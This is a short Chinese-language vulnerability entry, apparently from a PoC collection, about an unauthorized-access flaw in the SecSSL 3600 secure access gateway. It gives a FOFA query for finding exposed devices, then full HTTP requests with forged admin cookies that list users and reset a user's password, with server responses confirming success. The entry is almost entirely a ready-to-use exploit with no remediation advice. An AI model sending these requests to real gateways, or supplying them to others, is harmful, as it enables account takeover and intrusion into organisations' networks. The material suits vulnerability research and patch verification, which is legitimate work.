Q1-1奇安信-网神SecSSL3600-PermissionAC

漏洞描述：

网神 SecSSL 3600安全接入网关系统 存在未授权访问漏洞，攻击者通过漏洞可以获取用户列表，并修改用户账号密码

影响版本：

网神 SecSSL 3600安全接入网关系统

网站图片：

网络测绘：

fofa语法：

app=”安全接入网关SecSSLVPN”

漏洞复现：

payload：
获取用户列表

```
GET /admin/group/x_group.php?id=2 Cookie: admin_id=1; gw_admin_ticket=1;
```

修改用户密码

```
POST /changepass.php?type=2 Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff; last_step_param={"this_name":"ceshi","subAuthId":"1"} old_pass=&password
```

效果图:

Request

数据包扫描 热加载 URL

```
GET /admin/group/x_group.php?id=2 HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: admin_id=1; gw_admin_ticket=1;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
```

搜索定位响应

```
<td>
ceshi
name="user_unsel[]" id="user_unsel"
</td>
<td>
<a href="ja
iconCls="icon-forward" onclick="jav
<br/>
<a href="ja
iconCls="icon-back" onclick="javasc
</td>
<td><select class="
id="user_sel" ondblclick="javascrip
<option value="22
select></td>
<td> </td>
</tr>
</table>
</form>
</div>
<script language="javascript">
$(function(){
$('#form1').form({
onSubmit:function(){
if(!check_value()) retu
selectAll('form1');
return $(this).form('va
},
success:function(data){
if(data=="token_passed"
alert("请重新登录");
window.location.hre
return false;
```

Request

数据包扫描 热加载 URL

```
POST /changepass.php?type=2 HTTP/1.1
Host:
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
Cookie: admin_id=1; gw_user_ticket=ffffffffffffffffffffffffffffffff; last_step_param={"this_name":"ceshi","subAuthId":"1"}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36

old_pass=&password=Asd123!@#123A&repassword=Asd123!@#123A
```

搜索定位响应

```
id="change_table">
<tr>
<td align="center"><table
cellspacing="1" bgcolor="#C0E8E8">
<tr>
<td height="96" align=
width="520" border="0" cellspacing
<tr>
<td width="57" h
notice2.gif" width="32" height="36
<td width="459"
class="main_font"><label></label>
修改密码成功! </t
</tr>
</table></td>
</tr>
</table>
<label></
</tr>
<tr>
<td height="33" align="cen
border="0" cellspacing="0" cellpad
<tr>
<td align="center">
<input name="button"
onclick="MM_goToURL('parent','inde
回"/>
</td>
</tr>
</table>
<label></label>
```